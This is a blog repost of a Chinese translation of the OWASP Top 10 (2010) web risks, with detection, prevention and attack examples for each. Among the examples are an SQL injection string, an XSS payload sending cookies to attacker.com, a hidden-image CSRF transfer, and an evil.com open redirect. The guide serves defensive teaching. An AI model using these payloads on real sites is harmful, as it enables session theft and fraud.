OWASP TOP10 -2010

来源:互联网 发布:java项目介绍ppt 编辑:程序博客网 时间:2024/06/06 17:22
OWASP(开源web应用安全项目)是一个开放的社区,致力于帮助各企业组织开发、购买和维护可信任的应用程序.

Top 10的目标是通过找出企业组织所面临的最严重的风险来提高人们对应用程序安全的关注度。

Top 10的首要目的是培训开发人员、设计人员、架构师、经理和企业组织,让他们认识到最严重的web应用程序安全漏洞所产生的后果。

Top 10提供了防止这些高风险问题的基本方法,并提供了获得这些方法的来源。

OWASP 十大应用程序安全风险‐2010


A1注入

我是否存在注入漏洞?

检测应用程序是否存在注入漏洞的最好的办法就是确认所有解释器的使用都明确地将不可信数据从命令语句或查询语句中区分出来。对于SQL调用,这就意味着在所有准备语句(preparedstatements) 和储存过程(storedprocedures) 中使用绑定变量(bind variables),并避免使用动态查询语句。

检查应用程序是否安全使用解释器的最快最有效的方法是代码审查。代码分析工具能帮助安全分析者找到使用解释器的代码并追踪应用的数据流。渗透测试者通过创建攻击的方法来确认这些漏洞。

可以执行应用程序的自动动态扫描器能够提供一些信息,帮助确认一些可利用的注入漏洞是否存在。然而,扫描器并非总能达到解释器,所以不容易检测到一个攻击是否成功。不好的错误处理使得注入漏洞更容易被发现。

我怎么防止注入漏洞?

防止注入漏洞需要将不可信数据从命令及查询中区分开。

1. 最佳选择是使用安全的,完全避免使用解释器或提供参数化界面的API。但要注意有些参数化的API,比如存储过程(stored procedures),如果使用不当,任然可以引入注入漏洞。

2. 如果没法使用一个参数化的API,那么你应该使用解释器的具体的escape语法来避免特殊字符。OWASP的ESAPI就有一些escape例程。

3.使用正面的或“白名单”的,具有恰当的规范化的输入验证方法同样会有助于防止注入攻击。但由于很多应用在输入中需要特殊字符,这一方法不是完整的防护方法。OWASP的ESAPI中包含一个白名单输入验证例程的扩展库。

攻击的案例

应用程序在下面存在漏洞的SQL语句的构造中使用不可信数据:

String query ="SELECT * FROM accounts WHERE

custID='" + request.getParameter("id")+"'";

攻击者在浏览器中将“id”参数的值修改成’ or’1’=’1. 这样查询语句的意义就变成了从帐户数据库中返回所有的记录,而不是只有目标客户的信息。

http://example.com/app/accountView?id=' or'1'='1

在最严重的情况下,攻击者能够使用这一漏洞调用数据库中特殊的储存过程,从而达到完全接管数据库,甚至运行数据库的主机。

A2跨站脚本(XSS)

我是否存在XSS漏洞?

你需要确保发送给浏览器的所有用户提供的输入都是安全的(通过输入验证)。同时你还需要确保用户输入在被显示在页面之前都经过了恰当的转义(escape)。恰当的输出编码能确保这样的输入总是被视为浏览器中的文本,而不是可能被执行的动态内容。

动态和静态工具都能自动找出一些跨站脚本漏洞。然而,每一个应用程序使用不同的方式生成输出页面,并且使用不同的浏览器端解释器,例如JavaScript, ActiveX,Flash,和Silverlight,这使得自动检测变得很困难。因此,要想达到全面覆盖,必须使用一种结合的方式,在自动检测的基础上,同时采用人工代码审核和手动渗透测试。

类似AJAX的web2.0技术使得跨站脚本漏洞更难通过自动工具检测到。

我如何防止XSS?

防止跨站脚本需要将不可信数据与动态的浏览器内容区分开。

1.最好的办法是根据数据将要置于的HTML上下文(包括主体、属性、JavaScript、CSS, 或URL)转义(escape) 所有的不可信数据。除非用户界面(UI)框架已经提供转义,开发者需要在应用程序中提供转义(escaping)。更多关于数据转义的信息见OWASP XSS Prevention Cheat Sheet。

2.使用正面的或“白名单”的,具有恰当的规范化和解码功能的输入验证方法同样会有助于防止跨站脚本。但由于很多应用程序在输入中需要特殊字符,这一方法不是完整的防护方法。这种验证方法需要尽可能地解码任何编码输入,同时在接受输入之前需要充分验证数据的长度、字符、格式、和任何商务规则。

攻击案例

应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据:

(String) page +="<input name='creditcard' type='TEXT‘

value='" +request.getParameter("CC") + "'>";

攻击者在浏览器中修改‘CC’ 参数为如下值:

'><script>document.location=

'http://www.attacker.com/cgi‐bin/cookie.cgi?

foo='+document.cookie</script>'.

这导致受害者的会话ID被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。请注意攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造(CSRF)防御机制。CSRF的详细情况见A5。

A3失效的身份认证和会话管理

我存在漏洞吗?

最需要要保护的数据是认证凭证(credentials)和会话ID。

1.当存储认证凭证时,是否总是使用hashing或加密保护吗? 详见A7。

2. 认证凭证是否可猜测,或者能够通过薄弱的的帐户管理功能(例如账户创建、密码修改、密码恢复, 弱会话ID)重写?

3.会话ID是否暴露在URL里(例如, URL重写) ?

4.会话ID是否容易受到会话固定(sessionfixation) 的攻击?

5.会话ID会超时吗? 用户能退出吗?

6.成功注册后,会话ID会轮转吗?

7. 密码、会话ID和其他认证凭据是否只通过TLS连接传输?详见A9。

更多详情请见ASVS要求部分V2和V3 。

我如何防止?

对企业最主要的建议是让开发人员可以使用如下资源:

1.一套单一的强大的认证和会话管理控制系统。这套控制系统应:

a) 满足OWASP的应用程序安全验证标准(ASVS)中V2(认证)和V3(会话管理)中制定的所有认证和会话管理的要求。

b) 具有简单的开发界面。ESAPI认证器和用户API是可以仿照、使用或扩展的好范例。

2.企业同样也要做出巨大努力来避免跨站漏洞,因为这一漏洞可以用来盗窃用户会话ID。详见A2。

攻击案例

案例1:机票预订应用程序支持URL重写,把会话ID放在URL里:

http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii

该网站一个经过认证的用户希望让他朋友知道这个机票打折信息。他将上面链接通过邮件发给他朋友们,并不知道自己已经泄漏了自己的会话ID。当他的朋友们使用上面的链接时,他们将会使用他的会话和信用卡。

案例2:应用程序超时设置不当。用户使用公共计算机访问网站。离开时,该用户没有点击退出,而是直接关闭浏览器。攻击者在一个小时后能使用相同浏览器通过身份认证。

案例3:内部或外部攻击者进入系统的密码数据库. 存储在数据库中的用户密码没有被加密, 所有用户的密码都被攻击者获得。

A4 不安全的直接对象引用

我是否存在漏洞?

检测一个应用程序是否存在不安全直接对象引用漏洞的最好办法就是验证其所有的对象引用都具有适当的防御能力。要达到这一目的,可以考虑:

1.对于被保护的资源的直接引用,应用程序需要验证用户有权限访问他们所请求的具体资源。

2.如果该引用是间接引用,那么应用程序需要保证该间接引用只能映射到授权给当前用户访问的直接引用的值。

对应用程序进行代码审查能快速验证以上方法是否被安全实现了。测试同样是找出直接对象引用以及确认他们是否安全的有效方法。然而,自动化工具通常无法检测到这些漏洞,因为他们无法识别哪些需要保护、哪些是安全或不安全的。

我如何防止?

要防止不安全的直接对象引用需要选择一个适当的方法来保护每一个用户可访问的对象(如对象号码、文件名):

1.使用基于用户或者会话的间接对象引用。这样能防止攻击者直接攻击未授权资源。例如,一个下拉列表包含6个授权给当前用户的资源,它可以使用数字1‐6来指示哪个是用户选择的值,而不是使用资源的数据库关键字来表示。在服务器端,应用程序需要将每个用户的间接引用映射到实际的数据库关键字。OWASP的ESAPI包含了两种序列和随机访问引用映射,开发人员可以用来消除直接对象引用。

2.检查访问。任何来自不可信源的直接对象引用都必须通过访问控制检测,确保该用户对请求的对象有访问权限。

攻击案例

应用程序在访问帐户信息的SQL调用中使用未验证数据:

String query = "SELECT * FROM acctsWHERE account = ?";

PreparedStatement pstmt =

connection.prepareStatement(query , … );

pstmt.setString( 1, request.getparameter("acct"));

ResultSet results = pstmt.executeQuery( );

攻击者能轻易在浏览器将“acct”参数修改成他所想要的任何账户号码。如果应用程序没有进行恰当的验证,攻击者就能访问任何用户的账户,而不仅仅是该目标用户的账户。

http://example.com/app/accountInfo?acct=notmyacct

A5 跨站请求伪造(CSRF)

我是否存在漏洞?

检测应用程序是否存在该漏洞的最简单的方法就是确认是否每个链接和表格都为每个用户提供了不可预测的令牌。如果没有这样不可预测的令牌,攻击者就能够伪造恶意请求。重点关注那些调用能够改变状态的功能的链接和表格,因为他们是跨站请求伪造攻击的最重要的目标。

由于多步交易并不具有内在的防攻击能力,因此我们需要检测这些交易。攻击者能轻易使用多个标签或JavaScript伪造一系列请求。

请注意:会话cookie、源IP地址和其他浏览器自动发送的信息不能作为防攻击令牌,因为他们已经包含在伪造的请求中。

OWASP的CSRF测试工具有助于生成测试案例,可用于展示跨站请求伪造漏洞的危害。

我如何防止CSRF?

要防止跨站请求伪造,需要在每个HTTP请求的主体(body)或者URL中添加一个不可预测的令牌。这种令牌至少应该对每个用户会话来说是唯一的,或者也可以对每个请求是唯一的。

1.最好的方法是将独有的令牌包含在一个隐藏字段中。这将使得该令牌通过HTTP请求主体发送,避免其被包含在URL中从而被暴露出来。

2.该独有令牌同样可以包含在URL中或作为一个URL参数。但是这种安排的风险是:URL会暴露给攻击者,这样秘密令牌的也会被泄漏。

OWASP’s CSRF Guard 可以用来在Java EE,.NET, or PHP应用程序中自动加入这种令牌。OWASP的ESAPI包含令牌生成器和验证器。开发者可以用他们来保护网站交易。

攻击案例

应用程序允许用户提交不包含任何保密字段的状态改变请求,如:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

因此,攻击者构建一个请求,用于将受害用户账户中的现金转移到自己账户。然后攻击者在其控制的多个网站的图片请求或iframe中嵌入这种攻击。

<imgsrc="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#“width="0"height="0" />

如果受害用户通过example.com认证后访问任何一个这样的恶意网站,伪造的请求将包含用户的会话信息,导致该请求被授权执行。

A6 安全配置错误

我易受攻击吗?

你对整个应用程序堆栈实施了恰当的安全加固措施吗?

1.你有保证你的所有软件被及时更新的过程吗?这包括操作系统,网络/应用服务器,数据库管理系统,应用程序和其他所有的库文件。

2.是否禁用、删除或不安装一切多余的东西(例如,端口,服务,网页,帐户,权限)?

3.默认帐户的密码是否更改或禁用?

4.你的错误处理设置是否防止堆栈跟踪和其他含有大量信息的错误消息被泄露?

5.你的开发框架(比如:Struts, Spring, ASP.NET)和库文件中的安全设置是否理解正确并配置恰当?

开发和维护一个恰当的应用程序安全配置需要一个协定的、可重复的过程。

我如何防止?

主要的建议建立在以下几个方面:

1. 一个可以快速且易于部署在另一个锁定环境的可重复的加固过程。开发、质量保证和生产环境都应该配置相同。这个过程应该是自动化的,以尽量减少安装一个新安全环境的耗费。

2. 一个能及时了解并部署每个已部署环境的所有最新软件更新和补丁的过程。这需要包括通常被忽略的所有代码的库文件。

3. 一个能在组件之间提供良好的分离和安全性的强大应用程序架构。

4. 实施漏洞扫描和经常进行审计以帮助检测将来可能的错误配置或没有安装的补丁。

攻击案例

案例#1: 你的应用程序依赖于强大的框架,比如Struts或者Spring。在这些你所依赖的框架部分中,发现了XSS漏洞。一个发布的安全更新可以修复这些漏洞,但是你没有更新你的库文件。在你更新这些库文件以前,攻击者可以很容易的找到并攻破这些应用程序的漏洞。

案例#2: 应用程序服务器管理员控制台自动安装后没有被删除。而默认帐户也没有被改变。攻击者在你的服务器上发现了标准的管理员页面,通过默认密码登录,从而接管了你的服务器。

案例#3: 目录列表在你的服务器上未被禁用。攻击者发现只需列出目录,她就可以找到你服务器上的任意文件。攻击者找到并下载所有已编译的Java类,他通过反编译获得了所有你的自定义代码。然后,他在你的应用程序中找到一个访问控制的严重漏洞。

案例#4: 应用程序服务器配置允许堆栈跟踪返回给用户,这样就暴露了潜在的漏洞。攻击者热衷于收集错误消息里提供的额外信息。

A7 不安全的加密存储

我易受攻击吗?

首先你需要确认的是哪些数据是敏感数据而需要被加密。例如:密码、信用卡、医疗记录、个人信息应该被加密。对于这些数据,要确保:

1.当这些数据被长期存储的时候,无论存储在哪里,它们都需要被加密,特别是对这些数据的备份。

2.只有被授权的用户才可以访问这些解密的数据(即访问控制,见A4和A8)

3.使用一个强大的标准加密算法。

4.生成一个强大的密匙,保护密钥不被未经授权的访问,并设定密钥改变的计划。

还有更多∙∙∙关于在这一领域应该避免的更多问题请参见

ASVS requirements on Cryptography (V7)

我如何防止?

不安全加密的风险远远超出了TOP10的范围。尽管如此,对一些需要加密的敏感数据,应该起码做到以下几点:

1.预测一些威胁(比如内部攻击和外部用户),加密这些数据的存储以确保免受这些威胁。

2.确保异地备份的数据被加密,但用于加密的密钥要和数据分开管理和备份。

3.确保使用了合适的强大的标准算法和强大的密匙,并且密匙管理到位。

4.确保使用强大的标准哈希算法和合理的salt 来保护密码。

5.确保所有密匙和密码都是被保护的, 不被未经授权的访问。

攻击案例

案例#1: 一个应用程序加密存储在数据库的信用卡信息,

以防止信用卡信息暴露给最终用户。但是,数据库设置为对信用卡表列的查询进行自动解密,这就使得SQL注入漏洞能够获得所有信用卡信息的明文。该系统应该被设置为只允许后端应用程序解密信用卡信息,而不是前端网络应用程序。

案例#2: 一个备份磁盘里包含加密的医疗记录,但是用于加密的密钥存储在同一个备份里。而磁带在到达备份中心的途中遗失。

案例#3: 密码数据库使用不带salt的哈希算法去存储每个人的密码。一个文件上传漏洞使黑客能够获取密码文

件。所有这些没有使用salt来哈希的密码通过暴力破解方式能够在四周内被破解,而使用了恰当的salt来哈希的密码则需要3000年才能被破解。

A8 没有限制URL访问

我易受攻击吗?

确定应用程序有没有恰当限制URL访问的最好办法是验证每一个页面。仔细考虑每个页面,这个页面是否应该是公开的还是私有的?如果是私有网页:

1. 要访问该网页是否需要身份验证?

2.该网页是否应该被任何通过身份验证的用户访问?如果不是,是否有一项授权检查来确保用户有权限访问该网页呢?

外部安全机制经常提供页面访问的身份验证和权限检查。验证这些安全机制对每个页面的配置都是正确的。如果使用了代码级的保护,验证每一个需要保护的网页都具有代码级的保护。渗透测试也可以验证应用程序是否存在适当的保护措施。

我如何防止?

阻止未经授权的URL访问,需要选择一个方式来保证每个页面都需要适当的身份验证和适当的授权。通常,这种保护机制是由应用程序代码之外的一个或多个外部组件提供的。无论何种机制,都建议:

1.认证和授权政策应该基于角色,使维持这些策略的耗费最小化。

2.政策应该是高度可配置的,以尽量减少硬编码的政策问题。

3.执行机制在缺省情况下,应该拒绝所有访问。对于每个页面的访问,需要明确授予特定的用户和角色访问权限。

4.如果页面参与了工作流程,检查并确保当前的条件是授权访问此页面的合适状态。

攻击案例

攻击者只需简单地迫使浏览器连接到目标网址。例如下面的两个网址都需要身份验证。访问“admin_getappInfo”

页面同时还需要管理员权限。

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

如果攻击者没有通过身份认证,却能访问上述任一页面,那么表示未授权的访问被允许。如果通过验证的非管理员用户也能允许访问“admin_getappInfo”页面,那么这是个漏洞。这个漏洞可能会将攻击者引向更多保护不当的管理页面。

当应用程序只是简单的对未授权用户不显示链接和按钮,却没有合理保护他们请求的页面时,通常就会造成造成这种漏洞。

A9传输层保护不足

我易受攻击吗?

检测应用程序是否有充足的传输层保护的最好方法就是去验证:

1. SSL被用于保护所有与身份认证有关的数据流。

2. SSL被用于保护所有私有网页和服务的所有资源。这样做可以保护所有交换的数据和会话令牌。在一个网页上应该避免使用混合的SSL,因为它会导致浏览器产生用户警告,并可能会暴露用户的会话ID。

3. 只支持强大的算法。

4. 所有的会话cookie都设置“安全”(“secure”)标志,这样使浏览器绝不会以明文方式传输这些会话cookie。

5. 服务器证书对于该服务器是合法的并恰当配置的。这包括是由授权发行人发行、没有过期、没有被废除,以及匹配网站使用的所有域。

我如何防止?

提供恰当的传输层保护会影响网站的设计。最简单的方法是要求SSL用于整个网站。由于性能原因,一些网站仅在私有页面中使用SSL。而其他一些网站仅在“关键”的网页中使用SSL,但这样就可能暴露会话ID和其他敏感数据。因此,至少要做到如下几点:

1.要求所有敏感网页都使用SSL。对这些网页的非SSL请求应被重定向到相应的SSL网页。

2.对所有敏感的Cookie都设置“安全”(“secure”) 标志。

3.配置你的SSL的供应端只支持强大的(比如符合FIPS 140‐2标准)算法。

4.确保你的证书是有效的,没有过期,没有被废除,并匹配网站使用的所有域。

5.后端和其他连接也应该使用SSL或其他加密技术。

攻击案例

案例#1: 一个网站上所有需要身份验证的网页都没有使用SSL。攻击者只需监控网络数据流(比如一个开放的无线网络或其社区的有线网络),并观察一个已验证的受害者的会话cookie。然后,攻击者利用这个cookie执行重放攻击并接管用户的会话。

案例#2: 网站有不正确配置的SSL证书从而导致其用户使用浏览器时产生警告。用户必须接受这样的警告以便继续使用该网站。这将导致用户对这种警告习以为常。针对网站客户的钓鱼攻击会引诱用户到一个没有有效证书的类似的网站,这样就会产生相似的警告。由于受害者已习惯了这样的警告,他们继续登陆和使用这个钓鱼网站,将密码或其他私人数据泄露出去。

案例#3: 一个网站简单地使用标准的ODBC/JDBC进行数据库连接,而没有意识到所有的数据流都是明文。

A10 未验证的重定向和转发

我易受攻击吗?

验证应用程序是否有未验证的重定向或转发的最好的方法是:

1.审查所有使用重定向或转发(在.NET中称为转移)的代码。每一次使用,都应该验证目标URL是否被包含在任何参数值中。如果是,确认该参数被验证,以确保该参数只包含允许的目的地,或目的地的元素。

2.此外,抓取网站内容查看是否能产生重定向(HTTP响应代码从300到307,通常是302)。检查重定向之前提供的参数是否是目标URL或其一部分。如果是的话,更改URL的目的地,并观察网站是否重定向到新的目标。

3.如果没有代码,检查所有的参数以辨别它们是否看起来像一个重定向或转发目的地网址的一部分,对那些看起来像的参数进行测试。

我如何防止?

重定向和转发的安全使用可以有多种方式完成:

1.避免使用重定向和转发。

2.如果使用了重定向和转发,则不要在计算目标时涉及到用户参数。这通常容易做到。

3.如果使用目标参数无法避免,应确保其所提供的值对于当前用户是有效的,并已经授权。

建议把这种目标的参数做成一个映射值,而不是真的URL或其中的一部分,然后由服务器端代码将映射值转换成目标URL。

应用程序可以使用ESAPI重写sendRedirect()方法来确保所有重定向的目的地是安全的。

避免这种漏洞是非常重要的,因为钓鱼软件为了获取用户信任,往往最喜欢攻击这种漏洞。

攻击案例

案例#1: 应用程序有一个名为“redirect.jsp”的页面,该页面有一个参数名是“url”。攻击者精心制作一个恶意URL将用户重定向到一个恶意网站,执行钓鱼攻击并安装恶意程序。

http://www.example.com/redirect.jsp?url=evil.com

案例#2: 应用程序使用转发在网站的不同部分之间发送请求。为了帮助实现这一功能,如果一个交易成功了的话,一些网页就会发送一个参数给用户,用于指定用户的下一个页面。在这种情况下,攻击者制作一个URL, 用于绕过应用程序的访问控制检查,并将他转发给一个他通常不能访问的管理功能能。

http://www.example.com/boring.jsp?fwd=admin.jsp

相关内容请链接http://www.owasp.org

原创粉丝点击